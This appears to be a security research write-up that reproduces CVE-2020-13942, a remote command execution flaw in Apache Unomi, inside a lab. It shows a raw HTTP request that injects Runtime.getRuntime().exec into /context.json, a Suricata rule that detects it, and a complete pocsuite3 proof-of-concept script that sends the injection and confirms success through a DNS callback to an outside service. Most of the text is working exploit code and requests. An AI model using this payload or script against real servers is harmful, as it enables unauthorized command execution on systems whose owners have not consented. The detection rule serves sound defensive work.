Back home
中文
H7 / SECURITY RESEARCH NOTES

Apache Unomi Remote Command Execution Vulnerability (CVE-2020-13942)

Environment Description

IPHOSTNAMENOTE
192.168.244.1WINAttack host
192.168.244.128CentOS7Target host

Vulnerability Environment Setup

  • On VMware, start the vulnerable environment on the CentOS7 virtual machine through vulhub docker:
cd vulhub/unomi/CVE-2020-13942 # 切换到unomi漏洞环境目录
docker-compose up -d # 启动漏洞环境
  • On the CentOS7 firewall, allow port 8181:
firewall-cmd --zone=public --add-port=8181/tcp --permanet
firewall-cmd --reload
  • As shown below, http://192.168.78.128:8181 was accessed successfully from the attack host.

Vulnerability Reproduction

  • Access the Apache Unomi page, capture the request with burpsuite, and add it to the repeater, as shown below:

  • Visit the dnslog website to obtain a test domain name, as shown below:

  • Construct the Dnslog callback payload:
POST /context.json HTTP/1.1
Host: 192.168.244.128:8181
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 209

{"filters":[{"id" : "hunter","filters": [{"condition": {"parameterValues": {"hunter": "script::Runtime.getRuntime().exec('ping csj5vh.dnslog.cn')"},"type":"profilePropertyCondition"}}]}],"sessionId": "hunter"}
  • Attempt the reproduction. As shown below, the target successfully executed the ping command:

Suricata Rule Development

  • First filter out and export the pcap attack traffic, as shown below:

  • Write the Suricata rule.
alert tcp any any -> any any (msg:"apache-unomi_cve-2020-13942"; content:"POST"; content:"Runtime.getRuntime|28 29|"; content:"exec|28|"; sid:472; rev:2; metadata:aes team rules;)
  • Validate the rule.

POC Development

  • The complete POC code is as follows:
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pocsuite3.api import Output, POCBase, register_poc, requests, logger, VUL_TYPE, POC_CATEGORY

import time

'''
指纹:
url中包含:/context.json
请求体中包含:Runtime.getRuntime()
suricata检测规则:
alert tcp any any -> any any (msg:"apache-unomi_cve-2020-13942"; content:"POST"; content:"Runtime.getRuntime|28 29|"; content:"exec|28|"; sid:472; rev:2; metadata:aes team rules;)
'''


class Dnslog:
    def __init__(self) -> None:
        self._get_dns_domain_api = 'http://123.59.120.210:8444/get_domain'  # 获取子域名
        self._check_dns_record_api = "http://123.59.120.210:8444/query_dns"  # 查询dns解析
        self._headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE',
        }
        self._dns = requests.session()
        self.dnssubdomain = self._dns.get(self._get_dns_domain_api).text

    def getrecords(self):
        random_key = self.dnssubdomain.split(".")[0]
        data = {"random_key": random_key}
        result = self._dns.post(self._check_dns_record_api, json=data, headers=self._headers).text
        if "not_exist" not in result:
            return True
        else:
            return False

class TestPOC(POCBase):
    vulID = '360入侵者模拟'
    version = 'v1'
    author = ['360入侵者模拟']
    vulDate = '2020-11-24'
    createDate = '2021-8-12'
    updateDate = '2021-8-12'
    references = ['']
    name = 'Apache Unomi远程命令执行漏洞'
    appPowerLink = ''
    appName = 'apacheunomi'
    severity = "Critical"
    appVersion = '''Apache Unomi < 1.5.2'''
    suggest = "更新至Apache Unomi最新版";
    vulType = VUL_TYPE.COMMAND_EXECUTION
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    hasExp = False
    desc = ''''''
    CVE = 'CVE-2020-13942'
    
    target = "http://192.168.224.128:8181"

    def _verify(self):
        result = {}
        self.url = self.url.strip("/")
        self._dnslog = Dnslog()
        self.dnssubdomain = self._dnslog.dnssubdomain
        self._sendpoc()

        # 休眠等待dns log出结果
        time.sleep(0.5)

        # 访问dns log,查看是否存在特征
        try:
            logger.info("验证是否存在漏洞....")

            if self._dnslog.getrecords():
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
                logger.info("存在漏洞...")

        except Exception as e:
            logger.error(f"未获取到dns log数据,请重试,错误{e}")

        return self.parse_output(result)
    
    def _sendpoc(self):
        """发送检测poc"""
        payload='{"filters":[{"id" : "hunter","filters": [{"condition": {"parameterValues": {"hunter": "script::Runtime.getRuntime().exec(\'ping '+self.dnssubdomain+'\')"},"type":"profilePropertyCondition"}}]}],"sessionId": "hunter"}'
        target_url = f'{self.url}/context.json'

        try:
            resp = requests.post(target_url, data=payload, verify=False)

        except Exception:
            logger.error(f"connect target '{self.url} failed!'")

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output

register_poc(TestPOC)
  • The screenshot below shows the POC validating the vulnerability successfully: